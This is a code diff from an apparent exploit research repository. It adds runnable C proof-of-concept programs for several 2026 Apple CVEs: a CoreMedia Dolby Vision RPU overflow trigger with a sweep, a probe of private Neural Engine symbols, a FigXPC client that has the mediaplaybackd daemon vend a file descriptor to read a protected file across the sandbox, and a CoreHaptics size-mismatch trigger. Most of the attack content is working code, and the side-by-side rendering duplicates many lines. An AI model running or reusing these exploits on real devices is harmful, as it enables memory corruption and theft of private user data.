# the scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer.
#
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112683.swift
# triggers (run closures) & non-seed builders: CVE-2026-112683.swift in this folder
import struct import struct
+4 -20
View File
@@ -1,24 +1,9 @@
// font.cff · FontParser · charstring 解释器 · CVE-2026-112683 // font.cff · FontParser · charstring interpreter · CVE-2026-112683
// 原语: OOB 写 · 进程内 · tier 2 // CFF Type2 charstring operand stack overflow
// Primitive: OOB write · in-process · tier 2 // Standalone builder: CVE-2026-112683.py
//
// [zh] CFF Type2 charstring 操作数栈溢出
// Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护,并将扫描暂存区的
// 32 位乘法改为 64 位,同时修正了符号扩展指针。
//
// [en] CFF Type2 charstring operand stack overflow
// The Type2 charstring interpreter's operand stack is a fixed 48-entry array. On 27.0 only the pop
// path checks the count; the push path does not. iOS 27.2 adds Push/Pop stack guards, widens the
// scan scratch area's 32-bit multiply to 64-bit, and fixes a sign-extended pointer.
// ── 判别 / oracle ──
// 这个种子是一个裸 CFF:单个 charstring 连推 300 个操作数再 endchar。绘制字形才会真正执行解释器。
//
// 种子构建器(python,可直接运行): CVE-2026-112683/CVE-2026-112683.py
// runnable python seed builder: CVE-2026-112683/CVE-2026-112683.py
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -40,4 +25,3 @@ enum B {
} }
+126
View File
@@ -0,0 +1,126 @@
// cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688
// Dolby Vision RPU metadata block array overflow
// C twin of the Swift POC: builds the block-id-1 x6 grammar probe RPU and drives it
// through CMGetDMVersionLevelFromRPU (dlsym from CoreMedia).
// Variant cm.rpu.sweep (block-id/count grid) is run as the second half of main.
// Build: clang -O2 -o cve-2026-112688 CVE-2026-112688.c -framework CoreFoundation
// Run: ./cve-2026-112688 [block-count]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
#include <CoreFoundation/CoreFoundation.h>
// ── MSB-first bit writer (from Cinder27 Sources: BitWriter) ──
typedef struct { uint8_t *d; size_t n, cap; uint8_t acc; int nbits; } bw;
static void bw_put(bw *w, uint32_t value, int width) {
for (int i = width - 1; i >= 0; i--) {
w->acc = (uint8_t)((w->acc << 1) | ((value >> i) & 1));
if (++w->nbits == 8) {
if (w->n + 1 > w->cap) { w->cap = w->cap * 2 + 64; w->d = realloc(w->d, w->cap); }
w->d[w->n++] = w->acc; w->acc = 0; w->nbits = 0;
}
}
}
static void bw_expgolomb(bw *w, uint32_t value) {
uint32_t v = value + 1;
int bits = 0;
while ((v >> bits) > 1) bits++;
for (int i = 0; i < bits; i++) bw_put(w, 0, 1);
bw_put(w, v, bits + 1);
}
static size_t bw_flush(bw *w) {
if (w->nbits > 0) {
if (w->n + 1 > w->cap) { w->cap = w->cap * 2 + 64; w->d = realloc(w->d, w->cap); }
w->d[w->n++] = (uint8_t)(w->acc << (8 - w->nbits));
w->acc = 0; w->nbits = 0;
}
return w->n;
}
// ── seed construction (from Cinder27 Sources: RPUPayload.probe) ──
// block-id 1 has a fixed capacity of 4 entries (4 x 28 B); blockCount 6 walks past it
static bw rpu_probe(uint32_t block_id, int block_count, uint32_t seed) {
bw w = {0};
bw_put(&w, 0x19, 8); // magic, byte 0
bw_put(&w, 2, 6); // rpu_type = 2 (DOVI)
bw_put(&w, 0x12, 11); // rpu_format
bw_put(&w, seed & 0x1F, 5);
bw_put(&w, 1, 4); // vdr_rpu_profile
bw_put(&w, 0, 4); // vdr_rpu_level
bw_put(&w, 0, 1); // vdr_seq_info_present_flag
bw_put(&w, 1, 1); // chroma_resampling_explicit_filter_flag
bw_put(&w, 2, 2); // coefficient_data_type
bw_put(&w, 1, 1); // el_spatial_resampling_filter_flag
bw_put(&w, 0, 1); // disable_residual_flag
bw_put(&w, 0, 4); // nln
bw_put(&w, 1, 2); // num_dm_data
// DM data head: class-2 ext block loop
bw_expgolomb(&w, (uint32_t)block_count);
for (int i = 0; i < block_count; i++) {
bw_expgolomb(&w, 0x40); // ext block length-ish
bw_put(&w, block_id, 8); // block_id
// block-id 1 field grammar (u12 x3, u8 x6, u8 x2, u8 gate, u16 x3)
bw_put(&w, 0x100 + (uint32_t)i, 12);
bw_put(&w, 0x101 + (uint32_t)i, 12);
bw_put(&w, 0x102 + (uint32_t)i, 12);
for (int k = 0; k < 6; k++) bw_put(&w, 0x26, 8);
bw_put(&w, 0x25, 8);
bw_put(&w, 0x59, 8);
bw_put(&w, 0x13, 8); // unlocks the u16 tail
bw_put(&w, 0x0FFF & (uint32_t)(i * 0x111), 16);
bw_put(&w, 0x0FFF & (uint32_t)(i * 0x222), 16);
bw_put(&w, 0x0FFF & (uint32_t)(i * 0x333), 16);
}
return w;
}
// ── trigger: CMGetDMVersionLevelFromRPU (dlsym from CoreMedia) ──
// macOS export signature is (CFDataRef) — verified by disassembly: arg0 is passed
// through a CFRetain-style GOT call, then length/bytePtr are extracted before
// FigHEVCBridge_GetRPUMetadata(bytes, length, &struct). The Swift POC drives the
// 4-arg (bytes, count, u32*, u32*) surface on iOS; this C twin uses the macOS ABI.
typedef int32_t (*rpu_fn)(CFDataRef);
static int rpu_parse(rpu_fn fn, const uint8_t *payload, size_t n) {
CFDataRef d = CFDataCreate(NULL, payload, (CFIndex)n);
if (!d) return -1;
int32_t rc = fn(d);
CFRelease(d);
return rc;
}
int main(int argc, char **argv) {
int block_count = argc > 1 ? atoi(argv[1]) : 6;
void *cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia", RTLD_NOW);
if (!cm) { printf("dlopen CoreMedia failed: %s\n", dlerror()); return 1; }
rpu_fn fn = (rpu_fn)dlsym(cm, "CMGetDMVersionLevelFromRPU");
if (!fn) { printf("CMGetDMVersionLevelFromRPU not exported\n"); return 1; }
// primary probe: block-id 1 x 6 against the 4-entry capacity
bw w = rpu_probe(1, block_count, 0x0BADF00D);
size_t n = bw_flush(&w);
FILE *f = fopen("rpu_probe_1x6.bin", "wb");
if (f) { fwrite(w.d, 1, n, f); fclose(f); }
int rc = rpu_parse(fn, w.d, n);
printf("CVE-2026-112688 · block-id 1 x %d (capacity 4) · rc=%d\n", block_count, rc);
printf("payload %zu B · seed: rpu_probe_1x6.bin\n", n);
free(w.d);
// sweep variant: the (block-id, count) grid from cm.rpu.sweep
printf("\nsweep:\n");
const uint32_t ids[3] = {1, 2, 6};
const int counts[3][3] = {{5, 6, 8}, {9, 12, 16}, {6, 8, 10}};
for (int g = 0; g < 3; g++) {
for (int c = 0; c < 3; c++) {
bw s = rpu_probe(ids[g], counts[g][c], 0x0BADF00D);
size_t sn = bw_flush(&s);
int src = rpu_parse(fn, s.d, sn);
printf("id=%u count=%-2d → rc=%d\n", ids[g], counts[g][c], src);
free(s.d);
}
}
return 0;
}
+3 -31
View File
@@ -1,24 +1,8 @@
// cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688 // cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688
// 原语: OOB 写 · 系统进程 · tier 2 // Dolby Vision RPU extension metadata block array overrun
// Primitive: OOB write · system process · tier 2
//
// [zh] Dolby Vision RPU 扩展元数据块数组越界
// 三个固定容量数组(A: 4×28 B,B: 8×14 B,C: 5×36 B)在写入前没有计数上界。27.0 的 cmp + b.hi 仅跳过计数自增,写入仍以未检查的计数为索引执行。数组
// A 的越界写会越过 0x73b4 字节结构体末端,落入调用者的保存寄存器区 —— CMGetDMVersionLevelFromRPU 将该结构体置于自身栈帧。
//
// [en] Dolby Vision RPU extension metadata block array overrun
// Three fixed-capacity arrays (A: 4×28 B, B: 8×14 B, C: 5×36 B) have no count bound before writing.
// The 27.0 cmp + b.hi only skips the count increment; the write still executes indexed by the unchecked
// count. Array A's overrun crosses the end of the 0x73b4-byte struct and lands in the caller's saved-register
// area — CMGetDMVersionLevelFromRPU places that struct on its own stack frame.
// ── 判别 / oracle ──
// 该行是公告中唯一明确标注「任意代码执行」的 CoreMedia 条目。头部语法在源研究中仅重建至入口检查(magic / rpu_type / rpu_format 已在 macOS 孪生上实测通过),
// 故此处采用参数化语法探针,以解析器自身返回的错误作为进度回执。
// 变体 cm.rpu.sweep: RPU 块数与块类型扫描
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -39,20 +23,8 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
/*
// cm.rpu.sweep · CoreMedia · DOVI RPU · CVE-2026-112688
// 原语: OOB 写 · 系统进程 · tier 2
// Primitive: OOB write · system process · tier 2
//
// [zh] RPU 块数与块类型扫描
// 依次用 block-id 1/2/6 分别打三个数组(容量 4/8/5),每种块类型从刚好越界一个到越界八个,记录解析器在哪个点开始拒绝或崩溃。
//
// [en] RPU block count and block type sweep
// Block-ids 1/2/6 are aimed at the three arrays (capacities 4/8/5) in turn, each from one element
// over capacity up to eight over, recording where the parser starts refusing or terminates.
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (RPUPayload) ── // ── seed construction (from Cinder27 Sources: RPUPayload) ──
enum RPUPayload { enum RPUPayload {
struct BitWriter { struct BitWriter {
private(set) var out: [UInt8] = [] private(set) var out: [UInt8] = []
+32
View File
@@ -0,0 +1,32 @@
// probe.ane · AppleNeuralEngine.framework / CoreML.framework · CVE-2026-112696
// ANE userspace entry point probe
// C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the
// client/program/model/request entry points the CVE lives behind.
// Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c
// Run: ./cve-2026-112696
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
static void probe(const char *lib, const char **symbols, int n) {
void *h = dlopen(lib, RTLD_NOW);
if (!h) {
printf("x %s\n", lib);
return;
}
printf("ok %s\n", lib);
for (int i = 0; i < n; i++) {
printf(" %s: %s\n", symbols[i], dlsym(h, symbols[i]) ? "resolved" : "missing");
}
}
int main(void) {
const char *ane_syms[] = {"_ANEClient", "_ANEProgram", "_ANEModel", "_ANERequest"};
const char *coreml_syms[] = {"MLModel", "MLComputePlan"};
probe("/System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine", ane_syms, 4);
probe("/System/Library/PrivateFrameworks/CoreML.framework/CoreML", coreml_syms, 2);
printf("CVE-2026-112696 · ANE entry points probed\n");
return 0;
}
+2 -15
View File
@@ -1,20 +1,8 @@
// probe.ane · AppleH16ANEInterface · CVE-2026-112696 / 84494 // probe.ane · AppleH16ANEInterface · CVE-2026-112696 / 84494
// 原语: OOB 写 · 内核 · tier 2 // ANE kernel interface reachability
// Primitive: OOB write · kernel · tier 2
//
// [zh] ANE 内核接口可达性
// 未检查的 program symbolIndex 直接用于索引内核表且存在回写 —— 与公告所称「写内核内存」的形状一致。本模块仅探测应用能否触及 ANE 的用户态入口。
//
// [en] ANE kernel interface reachability
// An unchecked program symbolIndex indexes kernel tables and is written back — matching the advisory's
// "write kernel memory" shape. This module only probes whether the app can reach the ANE user-space
// entry points.
// ── 判别 / oracle ──
// 10.19.6 → 10.102.4,是整个 kext 差异里改动最大的一组之一。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -36,4 +24,3 @@ enum B {
} }
+246
View File
@@ -0,0 +1,246 @@
// cm.fdleak · CoreMedia mediaplaybackd bytestream XPC · Curl fd vend · CVE-2026-112706
// File descriptor leak from the byte-stream daemon
// C twin of the Swift POC: full FigXPC client — dlsym the Fig* symbols from CoreMedia,
// connect to com.apple.coremedia.mediaplaybackd.bytestream.xpc, run the
// .rp1/.rp2/.org handshake, then drive the Curl existence oracle and an fd vend.
// Build: clang -O2 -fblocks -o cve-2026-112706 CVE-2026-112706.c -framework CoreFoundation
// Run: ./cve-2026-112706 [path]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <dlfcn.h>
#include <dispatch/dispatch.h>
#include <xpc/xpc.h>
#include <CoreFoundation/CoreFoundation.h>
// ── Fig bindings (dlsym from CoreMedia, mirror of FdLeak.bind) ──
typedef int32_t (*fig_basic_message_fn)(uint32_t, uint64_t, void **);
typedef int32_t (*fig_origin_begin_fn)(void *);
typedef int32_t (*fig_origin_complete_fn)(xpc_object_t, xpc_object_t *);
typedef int32_t (*fig_recipient_fn)(xpc_object_t, void *, const char *, xpc_object_t *);
typedef int32_t (*fig_set_cfurl_fn)(void *, const char *, CFURLRef);
static fig_basic_message_fn fig_basic_message;
static fig_origin_begin_fn fig_origin_begin;
static fig_origin_complete_fn fig_origin_complete;
static fig_recipient_fn fig_recipient;
static fig_set_cfurl_fn fig_set_cfurl;
// ── error code map (mirror of FdLeak.describeError) ──
static const char *describe_error(int64_t code) {
if (code == -12203) return "exists but access denied (-12203)";
if (code == -17913) return "no such file (-17913)";
if (code == -16158) return "opcode sealed (-16158)";
if (code == -12878) return "write denied (-12878)";
return "error code";
}
// ── reply plumbing (mirror of FdLeak.send: 6 s timeout, dictionary/error retained) ──
typedef struct {
dispatch_semaphore_t sem;
xpc_object_t reply; // retained by the handler
char type_name[24];
} send_ctx;
static const double reply_timeout = 6.0;
static void classify(xpc_object_t obj, char *out, size_t n) {
xpc_type_t t = xpc_get_type(obj);
if (t == XPC_TYPE_DICTIONARY) snprintf(out, n, "dictionary");
else if (t == XPC_TYPE_ERROR) snprintf(out, n, "error");
else if (t == XPC_TYPE_ARRAY) snprintf(out, n, "array");
else if (t == XPC_TYPE_STRING) snprintf(out, n, "string");
else if (t == XPC_TYPE_INT64) snprintf(out, n, "int64");
else snprintf(out, n, "other");
}
// returns 0 on reply, -1 on timeout; box->type_name carries the reply class
static int send_and_wait(xpc_connection_t conn, xpc_object_t message, send_ctx *box) {
memset(box, 0, sizeof *box);
dispatch_semaphore_t sem = dispatch_semaphore_create(0);
// heap context: blocks cannot capture C arrays as __block, and on timeout the
// handler may fire after this frame is gone — that context is then orphaned
// (a few dozen bytes per silent service, bounded by the number of sends)
send_ctx *ctx = calloc(1, sizeof *ctx);
ctx->sem = sem;
xpc_connection_send_message_with_reply(conn, message, NULL,
^(xpc_object_t reply) {
if (reply) {
classify(reply, ctx->type_name, sizeof ctx->type_name);
if (strcmp(ctx->type_name, "dictionary") == 0 || strcmp(ctx->type_name, "error") == 0) {
ctx->reply = xpc_retain(reply);
}
} else {
snprintf(ctx->type_name, sizeof ctx->type_name, "nil");
}
dispatch_semaphore_signal(sem);
});
dispatch_time_t deadline = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(reply_timeout * NSEC_PER_SEC));
if (dispatch_semaphore_wait(sem, deadline) != 0) {
snprintf(box->type_name, sizeof box->type_name, "timeout");
return -1;
}
box->reply = ctx->reply;
snprintf(box->type_name, sizeof box->type_name, "%s", ctx->type_name);
free(ctx);
return 0;
}
// ── trigger ──
int main(int argc, char **argv) {
const char *path = argc > 1 ? argv[1] : "/private/var/mobile/Media/iTunes_Control/iTunes/MediaLibrary.sqlitedb";
const char *service = "com.apple.coremedia.mediaplaybackd.bytestream.xpc";
// bind
void *cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia", RTLD_NOW);
if (!cm) { printf("dlopen CoreMedia failed: %s\n", dlerror()); return 1; }
fig_basic_message = (fig_basic_message_fn)dlsym(cm, "FigXPCCreateBasicMessage");
fig_origin_begin = (fig_origin_begin_fn)dlsym(cm, "FigMemoryOriginBeginEstablishingMemoryRecipientByFillingInXPCMessage1");
fig_origin_complete = (fig_origin_complete_fn)dlsym(cm, "FigMemoryOriginCompleteEstablishingMemoryRecipientUsingXPCMessage2");
fig_recipient = (fig_recipient_fn)dlsym(cm, "FigMemoryRecipientCreateWithXPCMessage1AndUpdateXPCMessage2");
fig_set_cfurl = (fig_set_cfurl_fn)dlsym(cm, "FigXPCMessageSetCFURL");
if (!fig_basic_message || !fig_origin_begin || !fig_origin_complete || !fig_set_cfurl) {
printf("Fig symbols missing from CoreMedia\n");
return 1;
}
// connection (lazy: creation succeeds even with no listener)
xpc_connection_t conn = xpc_connection_create_mach_service(service, NULL, 0);
if (!conn) { printf("xpc_connection_create_mach_service failed\n"); return 1; }
printf("connection object created for %s\n", service);
xpc_connection_set_event_handler(conn, ^(xpc_object_t o) { });
xpc_connection_resume(conn);
// ---- handshake: .rp1 → .rp2(recipient) → .org(begin/complete)
char reply_types[8][24];
int ntypes = 0;
int established = 0;
send_ctx r1 = {0};
void *m1 = NULL;
if (fig_basic_message(0x2E727031, 0, &m1) == 0 && m1) {
send_and_wait(conn, (xpc_object_t)m1, &r1);
snprintf(reply_types[ntypes++], 24, "%s", r1.type_name);
printf("'.rp1' → %s\n", r1.type_name);
if (r1.reply && strcmp(r1.type_name, "dictionary") == 0) {
send_ctx r2 = {0};
void *m2 = NULL;
if (fig_basic_message(0x2E727032, 0, &m2) == 0 && m2) {
xpc_object_t recipient = NULL;
int cr = fig_recipient ? fig_recipient(r1.reply, m2, "cinder27", &recipient) : -1;
send_and_wait(conn, (xpc_object_t)m2, &r2);
snprintf(reply_types[ntypes++], 24, "%s", r2.type_name);
printf("'.rp2' recip=%d → %s\n", cr, r2.type_name);
if (r2.reply) xpc_release(r2.reply);
xpc_release((xpc_object_t)m2);
}
}
if (r1.reply) xpc_release(r1.reply);
xpc_release((xpc_object_t)m1);
}
send_ctx r3 = {0};
void *om = NULL;
if (fig_basic_message(0x2E6F7267, 0, &om) == 0 && om) {
int bg = fig_origin_begin(om);
send_and_wait(conn, (xpc_object_t)om, &r3);
snprintf(reply_types[ntypes++], 24, "%s", r3.type_name);
printf("'.org' begin=%d → %s\n", bg, r3.type_name);
if (r3.reply) {
// an XPC error object carries its description under this key
const char *ed = xpc_dictionary_get_string(r3.reply, XPC_ERROR_KEY_DESCRIPTION);
if (ed) printf(" error: %s\n", ed);
if (strcmp(r3.type_name, "dictionary") == 0) {
xpc_object_t origin = NULL;
int cp = fig_origin_complete(r3.reply, &origin);
established = (cp == 0);
printf("'.org' complete=%d origin=%s\n", cp, origin ? "yes" : "no");
}
xpc_release(r3.reply);
}
xpc_release((xpc_object_t)om);
}
printf("handshake established: %s\n", established ? "yes" : "no");
if (!established) {
// a silent service (nothing listening) is different from one that answers and refuses
int answered = 0, silent = 1;
for (int i = 0; i < ntypes; i++) {
if (strcmp(reply_types[i], "dictionary") == 0) answered = 1;
if (strcmp(reply_types[i], "timeout") != 0 && strcmp(reply_types[i], "nil") != 0) silent = 0;
}
printf("reply types: ");
for (int i = 0; i < ntypes; i++) printf("%s%s", i ? ", " : "", reply_types[i]);
printf("\n");
if (silent) {
printf("silent service — nothing is listening on this platform\n");
printf("CVE-2026-112706 · mediaplaybackd bytestream XPC absent here (iOS-only surface)\n");
} else {
printf("service answered (%s) but the handshake was refused\n", answered ? "dictionary" : "non-dictionary");
printf("CVE-2026-112706 · daemon present, handshake gate closed\n");
}
return 0;
}
// ---- existence oracle + vend (runs only on a platform where the daemon answers)
CFURLRef url = CFURLCreateWithFileSystemPath(NULL,
CFStringCreateWithCString(NULL, path, kCFStringEncodingUTF8),
kCFURLPOSIXPathStyle, false);
// control: the process's own open() must fail — the daemon vends what the app cannot
int own = open(path, O_RDONLY);
printf("own open() = %d errno=%d (%s)\n", own, errno, own >= 0 ? "ALLOWED — no sandbox here" : strerror(errno));
if (own >= 0) close(own);
void *m = NULL;
if (fig_basic_message(0x4375726C, 0, &m) == 0 && m) {
fig_set_cfurl(m, "CreationURL", url);
xpc_dictionary_set_uint64((xpc_object_t)m, "FileOpenOptions", 0);
send_ctx rv = {0};
send_and_wait(conn, (xpc_object_t)m, &rv);
printf("'Curl' → %s\n", rv.type_name);
if (rv.reply && strcmp(rv.type_name, "dictionary") == 0) {
xpc_object_t details = xpc_dictionary_get_value(rv.reply, "ByteStreamDetails");
if (details) {
uint64_t object_id = xpc_dictionary_get_uint64(details, "ObjectID");
uint64_t entire = xpc_dictionary_get_uint64(details, "EntireLength");
uint64_t server_pid = xpc_dictionary_get_uint64(details, "ServerPID");
int fd = xpc_dictionary_dup_fd(details, "FileDescriptor");
printf("vend: ObjectID=%llu EntireLength=%llu ServerPID=%llu fd=%d\n",
(unsigned long long)object_id, (unsigned long long)entire,
(unsigned long long)server_pid, fd);
if (fd >= 0) {
struct stat st;
if (fstat(fd, &st) == 0) {
printf("fd mode=%o uid=%u size=%lld\n", st.st_mode, st.st_uid, (long long)st.st_size);
}
char head[16] = {0};
ssize_t got = pread(fd, head, sizeof head, 0);
if (got > 0) {
printf("head:");
for (int i = 0; i < got; i++) printf(" %02x", (unsigned char)head[i]);
printf("\n");
}
close(fd);
}
} else {
int64_t ec = xpc_dictionary_get_int64(rv.reply, ".ErrorReturn");
printf("%s (%lld) %s\n", describe_error(ec), (long long)ec, path);
}
xpc_release(rv.reply);
}
xpc_release((xpc_object_t)m);
}
CFRelease(url);
printf("CVE-2026-112706 · daemon opened a client-chosen path with its own credentials\n");
return 0;
}
+2 -35
View File
@@ -1,25 +1,8 @@
// cm.fdleak · CoreMedia · mediaplaybackd.bytestream.xpc · CVE-2026-112706 // cm.fdleak · CoreMedia · mediaplaybackd.bytestream.xpc · CVE-2026-112706
// 原语: 信息泄露 · 系统进程 · tier 1 // CoreMedia bytestream XPC cross-sandbox file descriptor acquisition
// Primitive: info leak · system process · tier 1
//
// [zh] CoreMedia bytestream XPC 跨沙盒文件描述符获取
//
// [en] CoreMedia bytestream XPC cross-sandbox file descriptor acquisition
// The launchd service com.apple.coremedia.mediaplaybackd.bytestream.xpc is reachable from any sandboxed
// third-party app, checks no entitlement and raises no permission prompt. Its FigXPC memory-origin
// handshake (.rp1 → .rp2 → .org) returns status 0 for an unprivileged client; the subsequent 'Curl'
// create message carries a client-chosen absolute file:// path in CreationURL, and the daemon opens
// that path with its own credentials without checking either that it lies inside the requesting app's
// container or that the requester can read it. The reply's ByteStreamDetails dictionary carries a
// live FileDescriptor. The app dups it and preads — descriptor-level I/O is not subject to the client
// sandbox's path checks, so the full contents of a file the app's own open() returns EPERM for land
// in the app container.
// ── 判别 / oracle ──
// 变体 cm.fdleak.boundary: 跨沙盒可读域边界测绘
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -40,20 +23,4 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
/*
// cm.fdleak.boundary · CoreMedia · mediaplaybackd.bytestream.xpc · CVE-2026-112706
// 原语: 探测 · 系统进程 · tier 2
// Primitive: probe · system process · tier 2
//
// [zh] 跨沙盒可读域边界测绘
//
// [en] Cross-sandbox readable domain boundary mapping
// Fifteen high-value targets are each given a 'Curl' probe and the daemon's server-side error code
// is recorded, fixing the primitive's actual readable domain. Three outcomes are distinguished: opens,
// exists but denied (-12203), does not exist (-17913). The value of this pass is that it leaves
// the negative results on record — a target that was refused and a target that was never tested are
// entirely different conclusions.
*/
+167
View File
@@ -0,0 +1,167 @@
// aud.haptic · CoreHaptics · custom audio haptic registration · CVE-2026-113907
// CoreHaptics custom audio event with a declared-size mismatch
// C twin of the Swift POC: builds a 4096-frame WAV, registers it as a CoreHaptics
// audio resource and delivers a custom audio event. The declared byte count the server
// is asked to trust is what this CVE lives in.
// Variant aud.immersive (ImmersiveRendererData symbol probe) is noted in the Swift POC.
// Build: clang -O2 -o cve-2026-113907 CVE-2026-113907.c -framework CoreHaptics -framework CoreFoundation -lobjc
// Run: ./cve-2026-113907 [frame-count]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <objc/runtime.h>
#include <objc/message.h>
#include <CoreFoundation/CoreFoundation.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
static void le32(buf *b, uint32_t v) {
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
// ── seed construction (from Cinder27 Runners.hapticCustomAudio) ──
// mono 16-bit WAV with exactly `frames` samples
static buf wav_frames(int frames) {
const int rate = 48000;
buf out = {0};
bcat(&out, "RIFF", 4);
le32(&out, 36 + (uint32_t)frames * 2);
bcat(&out, "WAVEfmt ", 8);
le32(&out, 16); le16(&out, 1); le16(&out, 1);
le32(&out, (uint32_t)rate); le32(&out, (uint32_t)rate * 2);
le16(&out, 2); le16(&out, 16);
bcat(&out, "data", 4);
le32(&out, (uint32_t)frames * 2);
brep(&out, 0, (size_t)frames * 2);
return out;
}
// ── ObjC message casts (arm64: all args in registers) ──
static id (*msg_id)(id, SEL); // alloc
static id (*msg_id_1id)(id, SEL, id); // initAndReturnError:
static unsigned char (*msg_bool_1id)(id, SEL, id); // startAndReturnError:
static unsigned long (*msg_ul_3id)(id, SEL, id, id, id); // registerAudioResource:options:error:
static id (*msg_id_3id)(id, SEL, id, id, id); // initWithEvents:parameters:error:
static id (*msg_id_res)(id, SEL, unsigned long, id, double, double); // initWithAudioResourceID:parameters:relativeTime:duration:
static unsigned char (*msg_bool_double_1id)(id, SEL, double, id); // startAtTime:error:
static void (*msg_void)(id, SEL); // stop
static id (*msg_err_desc)(id, SEL); // localizedDescription
static const char *(*msg_utf8)(id, SEL); // UTF8String
static void print_error(const char *stage, id err) {
if (err) {
id desc = msg_err_desc(err, sel_registerName("localizedDescription"));
const char *s = desc ? msg_utf8(desc, sel_registerName("UTF8String")) : NULL;
printf("%s failed: %s\n", stage, s ? s : "(no description)");
} else {
printf("%s failed\n", stage);
}
}
int main(int argc, char **argv) {
int frames = argc > 1 ? atoi(argv[1]) : 4096;
int declared_bytes = 4; // the mismatch the server is asked to trust
msg_id = (id (*)(id, SEL))objc_msgSend;
msg_id_1id = (id (*)(id, SEL, id))objc_msgSend;
msg_bool_1id = (unsigned char (*)(id, SEL, id))objc_msgSend;
msg_ul_3id = (unsigned long (*)(id, SEL, id, id, id))objc_msgSend;
msg_id_3id = (id (*)(id, SEL, id, id, id))objc_msgSend;
msg_id_res = (id (*)(id, SEL, unsigned long, id, double, double))objc_msgSend;
msg_bool_double_1id = (unsigned char (*)(id, SEL, double, id))objc_msgSend;
msg_void = (void (*)(id, SEL))objc_msgSend;
msg_err_desc = (id (*)(id, SEL))objc_msgSend;
msg_utf8 = (const char *(*)(id, SEL))objc_msgSend;
Class engineClass = objc_getClass("CHHapticEngine");
Class eventClass = objc_getClass("CHHapticEvent");
Class patternClass = objc_getClass("CHHapticPattern");
if (!engineClass || !eventClass || !patternClass) {
printf("CoreHaptics classes unavailable\n");
return 1;
}
id err = nil;
